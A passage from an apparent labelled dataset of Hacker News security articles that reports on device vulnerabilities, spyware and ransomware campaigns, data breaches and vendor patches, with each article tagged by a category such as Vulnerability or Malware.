file_relay supports limited copying of diagnostic data from a device. This service is separate from user-generated backups, does not have access to all data on the device, and respects iOS Data Protection. Apple engineering uses file_relay on internal devices to qualify customer configurations. AppleCare, with user consent, can also use this tool to gather relevant diagnostic data from users' devices.

com.apple.mobile.house_arrest
house_arrest is used by iTunes to transfer documents to and from an iOS device for apps that support this functionality. This is also used by Xcode to assist in the transfer of test data to a device while an app is in development.

In addition, Apple reiterates on the support document page that access to these diagnostic capabilities requires an unlocked iOS device and a trusted computer, which protects against data extraction from an unknown Mac or PC. It also notes that any transferred data is encrypted with keys not shared with the company.

",Vulnerability
All OnePlus Devices Vulnerable to Remote Attacks Due to 4 Unpatched Flaws,https://thehackernews.com/2017/05/oneplus-mobile-vulnerabilities.html,"There is a bad news for all OnePlus lovers.

A security researcher has discovered four vulnerabilities that affect all OnePlus handsets, including One, X, 2, 3 and 3T, running the latest versions of OxygenOS 4.1.3 (worldwide) and below, as well as HydrogenOS 3.0 and below (for Chinese users).

Damn, I am feeling bad, I myself use OnePlus.

One of the unpatched vulnerabilities allows Man-in-the-Middle (MitM) attack against OnePlus device users, allowing a remote attacker to downgrade the device's operating system to an older version, which could then expand the attack surface for exploitation of previously disclosed now-patched vulnerabilities.

What's even worse? The other two vulnerabilities also allow an MitM attacker to replace any version of OxygenOS with HydrogenOS (or vice versa), as well as to replace the operating system with a completely different malicious ROM loaded with spying apps.

The vulnerabilities have been discovered by Roee Hay of Aleph Research, HCL Technologies, who reported them to the company in January this year.

However, when OnePlus failed to release patches for the issues even after 90 days of responsible disclosure, and 14 days of additional ultimatum, the researcher decided to go public with the details of the vulnerabilities, which are described below.

1 — OnePlus OTA Updates Over HTTP: CVE-2016-10370

It's 2017, and you would be shocked to know that one of the popular device manufacturers is sending you OS updates and security patches over an unencrypted channel.

Roee Hay and Sagi Kedmi, who also independently discovered it, claims that OnePlus is delivering signed-OTA (over-the-air) updates over HTTP without TLS, allowing remote attackers to perform MitM attacks.

Since the OTA updates are signed with a digital signature, this bug alone is not sufficient to push malicious updates to the affected devices.

But this weakness facilitates other three below-reported vulnerabilities, which could allow an attacker to defeat the digital signature mechanism as well.

2 — OnePlus OTA Downgrade Attack: CVE-2017-5948

This flaw allows a remote attacker to downgrade the operating system of a targeted OnePlus device, either running on OxygenOS or HydrogenOS, to an earlier version that may contain vulnerabilities disclosed previously.

Since all the OnePlus OTAs of different ROMs and products are signed by the same digital key, the device will accept and install any OTA image, even if the bootloader is locked.
Android devices mostly have a logical code that does not allow users to downgrade their OS, but OnePlus fails here as well. It does not check if the currently installed version of the OS is lower than or equal to the given OTA image.

OnePlus 3T, OnePlus 3, OnePlus 2, OnePlus X and OnePlus One are affected by this vulnerability.

The researcher has also published proof-of-concept (PoC) code on GitHub.

3 — OxygenOS/HydrogenOS Crossover Attack: CVE-2017-8850

The second flaw listed above also allows a remote attacker to replace any version of OxygenOS on a targeted OnePlus device with any version of HydrogenOS, even on locked bootloaders.

This attack is possible because ""the fact (that) both ROMs use the same OTA verification keys,""

According to the researcher, OnePlus 3T, OnePlus 3, OnePlus 2, OnePlus X and OnePlus One are affected by this vulnerability as well.

The researcher has also published proof-of-concept (PoC) for this flaw on GitHub.

4 — OnePlus OTA One/X Crossover Attack: CVE-2017-8851

This flaw, which only affects OnePlus X and OnePlus One, is practically same as the above two, but in this case, a remote MiTM attacker can even replace the OS (Oxygen/Hydrogen) designed for OnePlus X with the OS (Oxygen/Hydrogen) designed for OnePlus One, even on locked bootloaders.

This is because both the devices ""use the same OTA verification keys"" and ""share the same ro.build.product system property.""
""That could theoretically allow for exploitation of vulnerabilities patched on one image but not on the other, in addition to the expansion of the attack surface,"" Hay says. ""Moreover, the vulnerability may result in having the device unusable until a Factory Reset is performed.""
You can check the proof-of-concept exploit for this vulnerability here.

All the above flaws exist only because OnePlus is not using secure communication for delivering OTA updates, and can be patched easily just by introducing HTTPS/TLS implementation.

Since the exploitation requires the attacker and the targeted device to be on the same network, users are advised to avoid connecting to untrusted or public Wi-Fi networks.

",Vulnerability
Hacking Team Spyware preloaded with UEFI BIOS Rootkit to Hide Itself,https://thehackernews.com/2015/07/hacking-uefi-bios-rootkit.html,"Last Week someone just hacked the infamous Hacking Team, The Italy-based cyber weapons manufacturer and leaked a huge trove of 400GB internal data, including:

Emails
Hacking tools
Zero-day exploits
Surveillance tools
Source code for Spyware
A spreadsheet listing every government client with date of purchase and amount paid


Hacking Team is known for its advanced and sophisticated Remote Control System (RCS) spyware, also known as Galileo, which is loaded with lots of zero-day exploits and have ability to monitor the computers of its targets remotely.

Today, Trend Micro security researchers found that the Hacking Team ""uses a UEFI (Unified Extensible Firmware Interface) BIOS Rootkit to keep their Remote Control System (RCS) agent installed in their targets' systems.""

That clearly means, even if the user reinstalls the Operating System, formats the hard disk, and even buys a new hard disk, the agents are implanted after Microsoft Windows is up and running.

According to researchers, Hacking Team's rootkit malware is only able to target UEFI BIOS systems developed by Insyde and AMI vendors, used by the majority of computer and laptop manufacturers.

However, at this time researchers are not sure whether the malware can complete the rootkit installation without physical access to the target machine, as the installation requires BIOS flashing process that can't be done without rebooting into the machine into UEFI (Unified Extensible Firmware Interface) shell.

The BIOS rootkit analysis done by Trend Micro researchers was only made possible due to the Spyware source code leaked online in the Hacking Team data dumps.

So far, three Adobe Flash zero-day vulnerabilities and an Android zero-day exploit have been discovered from the Hacking Team leaked files, although this BIOS rootkit spreads more light on the team's activities.

The affected victims are yet unknown. However to keep yourself safe, we recommend you always to keep your BIOS up-to-date and protected by enabling password. Also, make sure to enable UEFI SecureFlash.

",Malware
Hackers Who Hit Winter Olympics 2018 Are Still Alive and Kicking,https://thehackernews.com/2018/06/olympic-destroyer-malware.html,"Remember the 'Olympic Destroyer' cyber attack?

The group behind it is still alive, kicking and has now been found targeting biological and chemical threat prevention laboratories in Europe and Ukraine, and a few financial organisation in Russia.

Earlier this year, an unknown group of notorious hackers targeted Winter Olympic Games 2018, held in South Korea, using a destructive malware that purposely planted sophisticated false flags to trick researchers into mis-attributing the campaign.

Unfortunately, the destructive malware was successful to some extent, at least for a next few days, as immediately after the attack various security researchers postmortem the Olympic Destroyer malware and started attributing the attack to different nation-state hacking groups from North Korea, Russia, and China.

Later researchers from Russian antivirus vendor Kaspersky Labs uncovered more details about the attack, including the evidence of false attribution artifacts, and concluded that the whole attack was a masterful operation in deception.
Now according to a new report published today by Kaspersky Labs, the same group of hackers, which is still unattributed, has been found targeting organisations in Russia, Ukraine, and several European countries in May and June 2018, specifically those organizations that respond to and protect against biological and chemical threats.

New Attack Shares Similarities With Olympic Destroyer

During their investigation, researchers found that the exploitation and deception tactics used by the newly discovered campaign share many similarities with the Olympic Destroyer attack.
""In May-June 2018 we discovered new spear-phishing documents that closely resembled weaponized documents used by Olympic Destroyer in the past,"" the researchers said. ""They continue to use a non-binary executable infection vector and obfuscated scripts to evade detection.""
Just like Olympic Destroyer, the new attack also targets users affiliated with specific organisations using spear-phishing emails that appear as coming from an acquaintance, with an attached document.

If the victims open the malicious document, it leverages macros to download and execute multiple PowerShell scripts in the background and install the final 3rd-stage payload to take remote control over the victims' system.

Researchers found that the technique used to obfuscate and decrypt the malicious code is same as used in the original Olympic Destroyer spear-phishing campaign.

The second-stage script disables Powershell script logging to avoid leaving traces and then downloads the final ""Powershell Empire agent"" payload, which allows fileless control of the compromised systems over an encrypted communication channel.

Hackers Target Biological and Chemical Threat Prevention Laboratories

According to the researchers, the group has attempted to gain access to computers in countries, including France, Germany, Switzerland, Russia, and Ukraine.
Researchers found evidence of hackers primarily targeting people affiliated with an upcoming biochemical threat conference, called Spiez Convergence, held in Switzerland and organized by Spiez Laboratory.

Spiez Laboratory played an essential role in investigating the poisoning in March of a former Russian spy in the UK. The U.K. and the U.S. both said Russia was behind the poisoning and expelled dozens of Russian diplomats.

Another document targeted Ministry of Health in Ukraine.

It is not yet known that who behind these attacks, but Kaspersky advises all biochemical threat prevention and research organizations to strengthen their IT security and run unscheduled security audits.

",Cyber_Attack
"In-Brief: Spotify Hack, Secret of Chrome OS, MIT Bug Bounty, Nanowire Batteries",https://thehackernews.com/2016/04/hacking-news-brief-1.html,"1. Spotify Hacked! Change your Password ASAP

If you are one of the millions of people around the world who love to listen to music on Spotify, you may need to change your password immediately.

Has Spotify been hacked? The company says no, but some Spotify users have claimed their profiles were hijacked, and details were changed without knowledge, including passwords and email addresses, TC reported.

Spotify apparently suffered a security breach that leaked hundreds of Spotify accounts details, including emails, usernames, passwords and account type, which was published last week to the popular anonymous file sharing website Pastebin.

Spotify is investigating the Pastebin leaks of Spotify user information.

2. Over 1 Million Android Apps Are Coming to Chrome OS

Google is ready to integrate millions of Android applications onto its Chrome OS platform by bringing the entire Play Store to it.

Redditor 'TheWiseYoda' first spotted a new option to ""Enable Android Apps to run on your Chromebook"" on the developer version of Chrome OS, though the option popped up for an instant and then disappeared.

After hunting in the source code of the operating system, the Redditor discovered a couple of references to the feature that indicate the arrival of Google Play on Chrome OS.

3. MIT University Launches Bug Bounty Program

The Massachusetts Institute of Technology (MIT) launches its experimental bug bounty program this week, which aims at encouraging university students and security enthusiasts to find and responsibly report vulnerabilities in its official websites.

""As thanks for helping keep the community safe, we are offering rewards in TechCASH for the responsible disclosure of severe vulnerabilities,"" program website explains.

TechCASH is money that can be used for purchasing goods and services at restaurants and grocery stores around the University Cambridge area.

The MIT becomes the first academic institution to reward hackers, open only for university affiliates with valid certifications, such as undergraduate and graduate students.

4. Never Ending Nanowire Batteries — The Future Of Electronics

Researchers at the University of California at Irvine (UCI) accidentally discovered that batteries build using a Nanowire-based material, a tiny conductor, can be recharged for hundreds of thousands of times.

A typical Lithium-ion battery, used in most smartphones and laptops, expected to have charge cycles between 2000-3000.

However, this innovation could lead to vastly longer lifespans for batteries in smartphones, computers, appliances, cars and spacecraft.

In early testing of the component, this last-longing battery was recharged more than 200,000 times over a three-month span, and no loss of capacity or power was recorded.

5. Edward ‪Snowden‬ Sues Norway to prevent Extradition

Global Surveillance Whistleblower Edward Snowden has filed a lawsuit against the Norwegian government to ensure his travel to Oslo for picking up an award without any risk of being extradited to the United States.

Snowden has been invited to Norway to receive a Freedom of Speech Award from PEN International – the local branch of writers' group – but he is worried that he would be extradited to the United States because of the country's close diplomatic ties with the US.

6. Nearly 93.4 Million Mexican Voter Data Leaked Online

A hacker discovered over 100 gigabytes of an extensive database completely open on the Internet for anyone to download while the hacker was browsing Shodan – a search engine for servers and Internet-connected devices.

The database turned out to be a voter registration database for the country of Mexico that contained the personal information, including full names, residential addresses, and national identification numbers, of virtually all registered voters with 93.4 Million entries.

",Data_Breaches
Taringa: Over 28 Million Users' Data Exposed in Massive Data Breach,https://thehackernews.com/2017/09/taringa-data-breach-hacking.html,"Exclusive — If you have an account on Taringa, also known as ""The Latin American Reddit,"" your account details may have compromised in a massive data breach that leaked login details of almost all of its over 28 million users.

Taringa is a popluar social network geared toward Latin American users, who create and share thousands of posts every day on general interest topics like life hacks, tutorials, recipes, reviews, and art.

The Hacker News has been informed by LeakBase, a breach notification service, who has obtained a copy of the hacked database containing details on 28,722,877 accounts, which includes usernames, email addresses and hashed passwords for Taringa users.

The hashed passwords use an ageing algorithm called MD5 – which has been considered outdated even before 2012 – that can easily be cracked, making Taringa users open to hackers.

Wanna know how weak is MD5?, LeakBase team has already cracked 93.79 percent (nearly 27 Million) of hashed passwords successfully within just a few days.

LeakBase has shared a dump of 4.5 million Taringa users with The Hacker News to help us verify the authenticity of the leaked database.

Using email addresses in the dump, we contacted a few random Taringa users with their plain text passwords, who acknowledged the authenticity of their credentials.

The data breach reportedly occurred last month, and the company then alerted its users via a blog post, sharing more information about the incident.
""It is likely that the attackers have made the database containing nicks, email addresses and encrypted passwords. No phone numbers and access credentials from other social networks have been compromised as well as addresses of bitcoin wallets from the Taringa program! Creators."" the post (translated) says.
""At the moment there is no concrete evidence that the attackers continue to have access to the Taringa code! and our team continues to monitor unusual movements in our infrastructure.""
To protect its users, Taringa is currently sending a password reset link via an email to its users as soon as they access their account with an old password.
One of the contacted users has also shared a screenshot of the notice with The Hacker News, as shown above.
""We've made a massive password reset strategy and also increased the encryption of the passwords from MD5 to SHA256. We've also been in contact with our community via our customer support team,"" a Taringa spokesperson told The Hacker News.

Leaked Database Analysis

Here below we have a brief analysis of the leaked database, which suggests that even after countless warnings, most people are continuously using deadly-simple passwords to safeguard their most sensitive data.

As you can see in the image given below, LeakBase team managed to crack 26,939,351 out of 28,722,877 passwords hashed using the MD5 algorithm, out of which over 15 Million were unique passwords.

The vast majority of the cracked passwords were alpha and lower case alpha and did not contain any special characters or symbols.


Here below we have the list of most popular/common passwords chosen by Taringa users that also includes top worst passwords such as 123456789, 123456, 1234567890, 000000, 12345, and 12345678.

The most popular length of the password was six characters long, followed closely by eight characters, nine and ten characters. Expectedly, the percentages drop drastically as you go higher in length.


Besides the cracked passwords, LeakBase also take a look at the email addresses contained in the leaked data dump, and the most common email domains are as follows:

But, are Taringa users entirely responsible for choosing weak passwords?

Not completely. It's also the fault of the company, who failed to enforce a strong password policy on their users, eventually allowing them to sign up with weak passwords.

After data breaches, the organisations tend to blame the end users for poor password security, but they forget to provide them one.

So far, it has not been clear who is behind the attack on Taringa, neither how the attackers managed to breach into its servers.

Meanwhile, in a separate news,we reported about an unknown hacker selling personal details on more than 6 million high-profile Instagram accounts on an online website, Doxagram, after the hacker breached the Facebook-owned photo sharing service using a flaw in its API.

How to Help Protect Yourself from Data Breaches

Of course, if you are one of those potentially affected users, you are strongly recommended to change your passwords immediately.

Also, change passwords for other online accounts for which you are using the same password as for Taringa account.

Even if any website allows you to create an account with a weak password, you should always choose a complex password. Use a good password manager, if you find following best practices difficult.

Moreover, avoid clicking on any suspicious link or attachment you received via an email and providing your personal or financial information without verifying the source correctly.

",Data_Breaches
Adobe's Year-End Update Patches 87 Flaws in Acrobat Software,https://thehackernews.com/2018/12/adobe-acrobat-update.html,"Adobe is closing out this year with its December Patch Tuesday update to address a massive number of security vulnerabilities for just its two PDF apps—more than double the number of what Microsoft patched this month for its several products.

Adobe today released patches for 87 vulnerabilities affecting its Acrobat and Reader software products for both macOS and Windows operating systems, of which 39 are rated as critical and 48 important in severity.

The security update comes less than a week after Adobe released patches for a critical zero-day vulnerability (CVE-2018-15982) in Flash Player that was actively being exploited in a targeted attack targeting a Russian state health care institution.

The critical vulnerabilities addressed today in Acrobat and Reader include three heap-overflow bugs, five out-of-bounds write flaws, two untrusted pointer dereference issues, two buffer errors, and 24 use-after-free bugs.

Upon successful exploitation, all of the above critical vulnerabilities would allow an attacker to execute arbitrary code on compromised computers.

Rest three critical-rated issues addressed this month are all security bypass issues which, if exploited, would lead to privilege escalation.

In addition to the critical bugs, Adobe patched 48 'important' security flaws in the Acrobat and Reader, including 43 are out-of-bounds read issues, four integer overflow flaws, and two security bypass issues—all of which could lead to information disclosure.

According to the company's support website, vulnerabilities rated as important, ""if exploited would compromise data security, potentially allowing access to confidential data, or could compromise processing resources in a user's computer.""

The company did not disclose technical details of any of the vulnerabilities, but categorized all the flaws, both critical and important, as ""Priority 2,"" meaning that the flaws are unlikely to be exploited in the wild but are at high risk of being exploited.

""There are currently no known exploits. Based on previous experience, we do not anticipate exploits are imminent,"" Adobe says. ""As a best practice, Adobe recommends administrators install the update soon (for example, within 30 days).""

Users of the Adobe Acrobat and Reader apps for Windows and macOS operating systems are highly recommended to update their software packages to the latest versions as soon as possible.

",Vulnerability
Sophisticated 'TajMahal APT Framework' Remained Undetected for 5 Years,https://thehackernews.com/2019/04/apt-malware-framework.html,"Cybersecurity researchers yesterday unveiled the existence of a highly sophisticated spyware framework that has been in operation for at least last 5 years—but remained undetected until recently.

Dubbed TajMahal by researchers at Kaspersky Lab, the APT framework is a high-tech modular-based malware toolkit that not only supports a vast number of malicious plugins for distinct espionage operations, but also comprises never-before-seen and obscure tricks.

Kaspersky named the framework after Taj Mahal, one of the Seven Wonders of the World located in India, not because it found any connection between the malware and the country, but because the stolen data was transferred to the attackers' C&C server in an XML file named TajMahal.

TajMahal toolkit was first discovered by security researchers late last year when hackers used it to spy on the computers of a diplomatic organization belonging to a Central Asian country whose nationality and location have not been disclosed.

However, malware samples examined by the researchers suggest the cyberespionage group behind the attack has been active since at least August 2014.

The TajMahal framework consists of two main packages—""Tokyo"" and ""Yokohama""—that together contain over 80 distinct malicious modules, which according to researchers, is one of the highest numbers of plugins ever seen for an APT toolset.

""It includes backdoors, loaders, orchestrators, C2 communicators, audio recorders, keyloggers, screen and webcam grabbers, documents and cryptography key stealers, and even its own file indexer for the victim's machine,"" the researchers say.

Researchers have not yet figured out how TajMahal infected its targets at the first place, but they do reveal that once accessed, first stage infection Tokyo is downloaded on targeted machines, which then deliver the fully-functional second-stage malware Yokohama.
Yokohama stores malicious modules in its encrypted Virtual File System which allows the malware to:

log keystrokes,
steal browser cookies and data, including backup for Apple mobile devices,
record and take screenshots of VoIP calls,
steal written CD images,
steal documents sent to the printer queue.

Besides usual spying capabilities, the malware also includes some more unique features like requesting to steal a particular file from a previously plugged in USB stick. So, next time when the USB is connected to the infected computer, the file will be stolen.

Though the researchers found only one TajMahal victim so far but given the framework's sophistication, they believe there are other victims that have yet to be discovered.

""So far we have detected a single victim based on our telemetry,"" Kaspersky said.

""This theory is reinforced by the fact that we couldn't see how one of the files in the VFS was used by the malware, opening the door to the possibility of additional versions of the malware that have yet to be detected.""

Additional technical details can be found on the SecureList blog, where the researchers have also published a full set of Indicators of compromise (IOCs) and a complete list of 80 malicious modules stored in the malware with a short description describing what they do.

",Malware
New Zeppelin Ransomware Targeting Tech and Health Companies,https://thehackernews.com/2019/12/zeppelin-ransomware-attacks.html,"A new variant of Vega ransomware family, dubbed Zeppelin, has recently been spotted in the wild targeting technology and healthcare companies across Europe, the United States, and Canada.

However, if you reside in Russia or some other ex-USSR countries like Ukraine, Belorussia, and Kazakhstan, breathe a sigh of relief, as the ransomware terminates its operations if found itself on machines located in these regions.

It's notable and interesting because all previous variants of the Vega family, also known as VegaLocker, were primarily targeting Russian speaking users, which indicates Zeppelin is not the work of the same hacking group behind the previous attacks.

Since Vega ransomware and its previous variants were offered as a service on underground forums, researchers at BlackBerry Cylance believes either Zeppelin ""ended up in the hands of different threat actors"" or ""redeveloped from bought/stolen/leaked sources.""

According to a report BlackBerry Cylance shared with The Hacker News, Zeppelin is a Delphi-based highly-configurable ransomware that can easily be customized to enable or disable various features, depending upon victims or requirements of attackers.

Zeppelin can be deployed as an EXE, DLL, or wrapped in a PowerShell loader and includes the following features:

IP Logger — to track the IP addresses and location of victims
Startup — to gain persistence
Delete backups — to stop certain services, disable the recovery of files, delete backups and shadow copies, etc.
Task-killer — kill attacker-specified processes
Auto-unlock — to unlock files that appear locked during encryption
Melt — to inject self-deletion thread to notepad.exe
UAC prompt — try running the ransomware with elevated privileges

Based on the configurations attackers set from the Zeppelin builder user-interface during the generation of the ransomware binary, the malware enumerates files on all drives and network shares and encrypts them with the same algorithm as used by the other Vega variants.


""[Zeppelin] employs a standard combination of symmetric file encryption with randomly generated keys for each file (AES-256 in CBC mode), and asymmetric encryption used to protect the session key (using a custom RSA implementation, possibly developed in-house),"" the researchers explain.

""Interestingly, some of the samples will encrypt only the first 0x1000 bytes (4KB), instead of 0x10000 (65KB). It might be either an unintended bug or a conscious choice to speed up the encryption process while rendering most files unusable anyway.""

Besides what features to be enabled and what files to be encrypted, the Zeppelin builder also allows attackers to configure the content of the ransom note text file, which it drops on the system and displays to the victim after encrypting the files.

""BlackBerry Cylance researchers have uncovered several different versions, ranging from short, generic messages to more elaborate ransom notes tailored to individual organizations,"" the researchers say.

""All the messages instruct the victim to contact the attacker via a provided email addresses and quote their personal ID number.""

To evade detection, Zeppelin ransomware relies on multiple layers of obfuscation, including the use of pseudo-random keys, encrypted string, using code of varying sizes, as well as delays in execution to outrun sandboxes and deceive heuristic mechanisms.

Zeppelin was first discovered almost a month ago when it was distributed through water-holed websites with its PowerShell payloads hosted on the Pastebin website.

Researchers believe that at least some of the Zeppelin attacks were ""conducted through MSSPs, which would bear similarities to another recent highly targeted campaign that used ransomware called Sodinokibi,"" also known as Sodin or REvil.

The researchers have also shared indicators of compromise (IoC) in its blog post. At the time of writing, almost 30 percent of antivirus solutions are not able to detect this particular ransomware threat.
",Cyber_Attack
"New Android Browser Vulnerability Is a ""Privacy Disaster"" for 70% Of Android Users",https://thehackernews.com/2014/09/new-android-browser-vulnerability-is.html,"A Serious vulnerability has been discovered in the Web browser installed by default on a large number (Approximately 70%) of Android devices, that could allow an attacker to hijack users' open websites, and there is now a Metasploit module available to easily exploit this dangerous flaw.

The exploit targets vulnerability (CVE-2014-6041) in Android versions 4.2.1 and all older versions and was first disclosed right at the start of September by an independent security researcher Rafay Baloch, but there has not been much public discussion on it.

The Android bug has been called a ""privacy disaster"" by Tod Beardsley, a developer for the Metasploit security toolkit, and in order to explain you why, he has promised to post a video that is ""sufficiently shocking.""
""By malforming a javascript: URL handler with a prepended null byte, the AOSP, or Android Open Source Platform (AOSP) Browser) fails to enforce the Same-Origin Policy (SOP) browser security control,"" Tod Beardsley of Rapid7 said in a blog post.
""What this means is any arbitrary website - say, one controlled by a spammer or a spy - can peek into the contents of any other web page,"" Beardsley said. ""[If] you went to an attackers site while you had your webmail open in another window, the attacker could scrape your email data and see what your browser sees.""
""Worse, he could snag a copy of your session cookie and hijack your session completely, and read and write webmail on your behalf.""
Baloch also found the AOSP browser installed on Android 4.2.1 is vulnerable to Same Origin Policy (SOP) bypass that allows one website to steal data from another. He then tested his findings on numerous devices, including Qmobile Noir, Sony Xperia, Samsung Galaxy S3, HTC Wildfire and Motorola Razr and found that it works on all.

But, anyone running the latest release, Android 4.4, is not affected, which means that as many as 75 per cent of Android devices and millions of Android users are vulnerable to the attack, according to Google's own statistics.

Baloch explained that an SOP bypass occurs when one website makes it way to access the properties, such as cookies, location, response etc, of the other site. ""Due to the nature of the issue and potential impact, browsers have very strict model pertaining it and a SOP bypass is rarely found in modern browsers. However, they are found once in a while,"" Baloch said in a blog post.

As a responsible security researcher, Baloch reported the issue to the Google and they responded positively by assuring him that they are working on a ""suitable fix."" But when it came to reward this bug hunter, they replied ""We are unable to reproduce this issue though. Its possible that your OEM has modified the browser in a manner that has created this issue,"" said Josh Armour of Android Security team.
""Android does not currently have a Vulnerability Rewards Program. As far as publicly crediting for the vulnerability we have started to maintain a list of acknowledgements here. Given that this was published before we had a chance to provide patches, this specific report would not qualify.""
The problem is that all the versions except Android 4.4 are affected by this issue and a large number of users still are on the older versions. Worst is the creation of a module for the Metasploit penetration testing platform, which would make the exploitation of the vulnerability much easier.

It all resides in the BROWSER of the Android devices, which can't be uninstalled because it's usually part of the operating system in-build feature. So, in order to protect yourself, just Disable the BROWSER from your Android devices by going to Settings > Apps > All and looking for its icon. By opening it, you'll find a DISABLE button, Select it and disable the Browser.

",Vulnerability
2012 Most Vulnerable Cities At Risk Of Cyber Crime,https://thehackernews.com/2012/02/2012-most-vulnerable-cities-at-risk-of.html,"2012 Most Vulnerable Cities At Risk Of Cyber Crime

Norton's study showed the city was one of the ten worst for hacking. Each city was ranked by the prevalence of PCs and smartphones in addition to social media use with risk factors like unsecured Wi-Fi hotspots and malware attempts. Manchester was found to be the riskiest city and Vancouver is the third most vulnerable city in Canada for cyber-crime.

The Top 10 Riskiest Online Cities in the U.S. are:
#1 – Washington, D.C.
#2 – Seattle
#3 – San Francisco
#4 – Atlanta
#5 – Boston
#6 – Denver
#7 – Minneapolis
#8 – Sacramento, Calif.
#9 – Raleigh, N.C.
#10 – Austin, Texas

The Top 10 Riskiest Online Cities in Canada are:
#1 - Burlington, ON
#2 - Port Coquitlam, BC
#3 - Vancouver, BC
#4 - Langley, BC
#5 - Calgary, AB
# 6 - Fredericton, NB
#7 - Toronto, ON
#8 - New Westminster, BC
#9 - Edmonton, AB
#10 - Victoria, BC

Cyber crime expert Simon Ellson said there are a numer of steps people can take to stay safe when they are using accessing the web via a smart phone or laptop.Mr Ellson said: ""Never ask your web browser to store your username and password for a website. If you are going to create a password, which you should for any device that you are using, make it unique and change it regularly.Ultimately, make sure you have got some protection on the device you are using. It is a bit like the lock on your front door, if you don't put some kind of preotection on your device, it is like not locking your front door.""

Top 3 Safety Tips from Norton
1. Proceed with caution when using Wi-Fi hotspots
2. Use complex and unique passwords for each site
3. Stay educated

According to Symantec, people who are more connected online are more vulnerable to cyber-criminals. Cyber crime rates cost Canadians $5.5 billion in 2010, according to a study released by Symantec. At least 7.3 million Canadians were victims of cybercrime last year, and there are about 20,000 new victims each day.

",Malware
Zero-day Smartphone Vulnerability exposes location and User Data,https://thehackernews.com/2012/02/zero-day-smartphone-vulnerability.html,"Zero-day Smartphone Vulnerability exposes location and User Data

Smartphones are increasingly becoming the preferred device for both personal and professional computing, which has also attracted hackers to increase their focus on creating malware and other security vulnerabilities for these devices. A former McAfee researcher ""Dmitri Alperovitch"" has used a previously unknown hole in smartphone browsers to plant China-based malware that can record calls, pinpoint locations and access user texts and emails.

He conducted the experiment on a phone running Android operating system, although he saysApple Inc.'s iPhones are equally vulnerable. Android is particularly vulnerable because it has become the main operating system for mobile devices. Today most smartphones are android-based therefore there is a huge dividend for hackers to write Android-targeted malware compared to other operating systems.

Alperovitch, who has consulted with the U.S. intelligence community, is scheduled to demonstrate his findings Feb. 29 at the RSA conference in San Francisco, an annual cyber security gathering. Alperovitch and his team reversed engineered the malware called Nickispy and and took control of it.

A nice little piece of Android spyware, commonly known as 'NickiSpy.C' . For those unfamiliar, NickiSpy gained quite a bit of notoriety around July/August 2011, as it was one of the first malicious Android applications to have the ability to record phone calls. Alperovitch said he exploited a so-called zero-day vulnerability in smartphone browsers to secretly install the malware. Zero-day vulnerabilities are ones that are not yet known by the manufacturers and anti-virus companies.

The malware also intercepts texts and emails and tracks the phone's location, he said. In theory, it could be used to infiltrate a corporate network with which the phone connects. Like most pieces of Android spyware/malware, installation is dependant on the end-user. In an experiment he also delivered it through a classic ""spear phishing"" attack.

Protect from Malware : For Android, the danger is downloading apps outside of Google's App Market . If you're off somewhere getting apps from sources you don't know or trust, there could be consequences. For iPhone users, the line really is whether you jailbreak or not. Jailbreaking can be pretty easy, and getting pirated or bootlegged apps can seem like a great way to save money, but in doing so, you're basically handing out the smart phone equivalent of a front door key to Lord only knows.

",Vulnerability
ShadowPad Malware is Becoming a Favorite Choice of Chinese Espionage Groups,https://thehackernews.com/2021/08/shadowpad-malware-is-becoming-favorite.html,"ShadowPad, an infamous Windows backdoor that allows attackers to download further malicious modules or steal data, has been put to use by five different Chinese threat clusters since 2017.
""The adoption of ShadowPad significantly reduces the costs of development and maintenance for threat actors,"" SentinelOne researchers Yi-Jhen Hsieh and Joey Chen said in a detailed overview of the malware, adding ""some threat groups stopped developing their own backdoors after they gained access to ShadowPad.""
The American cybersecurity firm dubbed ShadowPad a ""masterpiece of privately sold malware in Chinese espionage.""
A successor to PlugX and a modular malware platform since 2015, ShadowPad catapulted to widespread attention in the wake of supply chain incidents targeting NetSarang, CCleaner, and ASUS, leading the operators to shift tactics and update their defensive measures with advanced anti-detection and persistence techniques.
More recently, attacks involving ShadowPad have singled out organizations in Hong Kong as well as critical infrastructure in India, Pakistan, and other Central Asian countries. Although primarily attributed to APT41, the implant is known to be shared among several Chinese espionage actors such as Tick, RedEcho, RedFoxtrot, and clusters dubbed Operation Redbonus, Redkanku, and Fishmonger.
""[The threat actor behind Fishmonger is] now using it and another backdoor called Spyder as their primary backdoors for long-term monitoring, while they distribute other first-stage backdoors for initial infections including FunnySwitch, BIOPASS RAT, and Cobalt Strike,"" the researchers said. ""The victims include universities, governments, media sector companies, technology companies and health organizations conducting COVID-19 research in Hong Kong, Taiwan, India and the U.S.""
The malware functions by decrypting and loading a Root plugin in memory, which takes care of loading other embedded modules during runtime, in addition to dynamically deploying supplementary plugins from a remote command-and-control (C2) server, enabling adversaries to incorporate extra functionality not built into the malware by default. At least 22 unique plugins have been identified to date.
The infected machines, for their part, are commandeered by a Delphi-based controller that's used for backdoor communications, updating the C2 infrastructure, and managing the plugins.
Interestingly, the feature set made available to ShadowPad users is not only tightly controlled by its seller, each plugin is sold separately instead of offering a full bundle containing all of the modules, with most samples — out of about 100 — embedded with less than nine plugins.
""The emergence of ShadowPad, a privately sold, well-developed and functional backdoor, offers threat actors a good opportunity to move away from self-developed backdoors,"" the researchers said. ""While it is well-designed and highly likely to be produced by an experienced malware developer, both its functionalities and its anti-forensics capabilities are under active development.""

",Malware
DocuSign Data Breach Led to Targeted Email Malware Campaign,https://thehackernews.com/2017/05/DocuSign-data-breach.html,"While we all were busy in the WannaCry ransomware menace, two separate data breaches have been reported, one in DocuSign, a major provider of electronic signature technology, and another in BELL, Canada's largest telecommunications company.

In a notice on its website on Tuesday, DocuSign confirmed a breach at one of its email systems when investigating the cause of an increase in DocuSign-impersonating phishing emails.

""A malicious third party had gained temporary access to a separate, non-core system that allows us to communicate service-related announcements to users via email,"" DocuSign said in the announcement.

What Happened?

An unknown hacker or group of hackers managed to breach one of the electronic signature technology provider's email systems and steal a database containing the email addresses of DocuSign customers.

The attackers then used the stolen data to conduct an extensive phishing campaign to target the DocuSign's users over the past week.

The phishing email masqueraded as documents sent from another company with the subject line ""Completed *company name* – Accounting Invoice *number* Document Ready for Signature,"" needing a digital signature from the recipient.

The emails, sent from domains including dse@docus.com, included a downloadable Microsoft Word document, which when clicked, installs ""macro-enabled-malware"" on the victim's computers.

What type of information?

The company said only email addresses of its customers had been accessed in the breach.

However, DocuSign assured its customers that no names, physical addresses, passwords, social security numbers, credit card information or any other information had been accessed by the attackers.
